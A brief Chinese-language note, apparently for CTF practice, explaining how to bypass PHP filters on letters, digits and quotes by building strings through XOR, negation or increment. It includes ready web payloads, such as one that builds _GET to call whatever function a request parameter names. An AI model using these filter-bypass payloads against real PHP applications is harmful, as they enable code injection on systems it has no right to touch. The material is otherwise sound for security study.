原理
php支持字符串异或构造
像这样
<?php
$hello = "hello";
$world = "world";
$xor = $hello^$world; // $xor = " "
echo($hello ^ $xor)."\n"; // world
echo($world ^ $xor)."\n"; // hello
那么我们就可以利用这一点来构造出不同的字符串而不出现特定的字符
原理很简单,当然不仅异或可以,取反,异都是可以的
注意
在 PHP 5.* 中,不能使用 ($a)(); 构造动态函数
在 PHP 7.* 中,支持的姿势最广泛
在 PHP 8.* 中,不支持字符串不添加引号,及 (~%8F%97%8F%96%91%99%90)();
无字母数字绕过脚本(异或,或构造脚本)
取反构造脚本
自增构造脚本
临时文件上传
过滤引号的情况
我们可以这样用 ${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo
其中 “%86%86%86%86^%d9%c1%c3%d2”
为构造出的 _GET
,适合于过滤了引号的情况下使用。